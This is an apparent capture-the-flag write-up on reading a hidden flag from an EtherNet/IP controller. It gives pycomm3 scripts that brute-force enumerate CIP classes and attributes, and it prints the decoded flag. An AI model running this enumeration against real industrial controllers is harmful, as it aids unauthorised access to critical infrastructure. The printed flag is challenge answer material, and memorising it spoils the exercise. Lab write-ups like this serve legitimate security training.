Overview

This challenge involves interacting with an EtherNet/IP controller and retrieving a value labeled as FLAG. Unlike typical web or binary exploitation challenges, this one focuses on understanding and communicating with industrial protocols — specifically the Common Industrial Protocol (CIP).

The key objective is to connect to the target device and extract the flag using the correct communication method.

Target Information

  • IP Address: 154.57.164.80
  • Port: 32337
  • Protocol: EtherNet/IP (CIP)

Initial Approach

Since the challenge explicitly mentions a FLAG tag, the natural first step is to try reading it directly using standard EtherNet/IP libraries.

Attempt 1: Using pycomm3

from pycomm3 import LogixDriver
target = '154.57.164.80:32337'
with LogixDriver(target) as plc:
    result = plc.read('FLAG')
    print(result)

Result

This attempt failed with:

  • Tag not found
  • Errors related to tag enumeration

Understanding the Failure

The failure indicates that:

  • The device does not expose tags in the usual Logix tag interface
  • Tag enumeration is either restricted or unsupported
  • The assumption that FLAG is directly accessible as a tag is incorrect

At this point, it's important to shift from high-level tag interaction to low-level protocol interaction.

Switching to Raw CIP Communication

Instead of relying on tag-based access, we can directly interact with the device using CIP messages.

CIP uses a structure of:

  • Class
  • Instance
  • Attribute

A common request is:

  • Get_Attribute_Single (0x0E)

Verifying Connectivity

We first query a known object: the Identity Object

from pycomm3 import CIPDriver
target = '154.57.164.80:32337'
with CIPDriver(target) as conn:
    result = conn.generic_message(
        service=0x0E,
        class_code=0x01,
        instance=0x01,
        attribute=0x07
    )
    
    print(result)

Output

b'\x141756-L61/B LOGIX5561'

This confirms:

  • The device is reachable
  • It is a Logix-based controller
  • Raw CIP communication works

Enumerating CIP Objects

Since the flag is not accessible via tags, the next step is to enumerate different classes and attributes.

from pycomm3 import CIPDriver
target = '154.57.164.80:32337'
with CIPDriver(target) as conn:
    for cls in range(1, 0x20):
        for attr in range(1, 10):
            try:
                result = conn.generic_message(
                    service=0x0E,
                    class_code=cls,
                    instance=1,
                    attribute=attr
                )
                
                if result.value:
                    print(f"[Class {cls} Attr {attr}] -> {result.value}")
            except:
                pass

Finding the Flag

During enumeration, the following output appears:

[Class 2 Attr 1] -> b'H\x00T\x00B\x00{\x003\x00t\x00h\x003\x00r\x00n\x003\x00t\x001\x00p\x00_\x00p\x00w\x00n\x003\x00d\x00}\x00'

Decoding the Output

The returned value is encoded in UTF-16, which explains the null bytes (\x00) between characters.

To decode it:

print(result.value.decode('utf-16'))

Decoded Result

HTB{3th3rn3t1p_pwn3d}

Final Flag

HTB{3th3rn3t1p_pwn3d}

Key Takeaways

  • Not all EtherNet/IP devices expose Logix-style tags
  • When tag-based access fails, switch to raw CIP communication
  • Understanding CIP structure (Class/Instance/Attribute) is crucial
  • Industrial protocols often use UTF-16 encoding
  • Enumeration is often more effective than guessing

Conclusion

This challenge highlights the importance of adapting your approach when assumptions fail. Instead of relying on high-level abstractions, working directly with the underlying protocol provided the necessary visibility to retrieve the flag.